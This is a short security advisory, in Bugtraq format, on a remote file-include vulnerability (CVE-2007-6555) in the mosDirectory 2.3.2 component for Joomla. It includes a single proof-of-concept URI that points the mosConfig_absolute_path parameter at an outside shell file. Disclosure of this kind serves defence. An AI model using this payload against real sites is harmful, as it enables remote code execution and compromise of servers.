Joomla mosDirectory Component mosConfig_absolute_path Remote File Include Vulnerability

Bugtraq ID:	27014
Class:	Input Validation Error
CVE:	CVE-2007-6555
Remote:	Yes
Local:	No
Published:	Dec 24 2007 12:00AM
Updated:	May 07 2015 05:34PM
Credit:	ShockShadow is credited with discovering this issue.
Vulnerable:	Phil Taylor mosDirectory 2.3.2 -r3
Not Vulnerable:

Joomla mosDirectory Component mosConfig_absolute_path Remote File Include Vulnerability

The mosDirectory component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

mosDirectory 2.3.2 is vulnerable; other versions may also be affected.

Joomla mosDirectory Component mosConfig_absolute_path Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/joomla_Path/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=http://shell.txt?

Joomla mosDirectory Component mosConfig_absolute_path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla mosDirectory Component mosConfig_absolute_path Remote File Include Vulnerability

References:

• Vendor Homepage (Phil Taylor)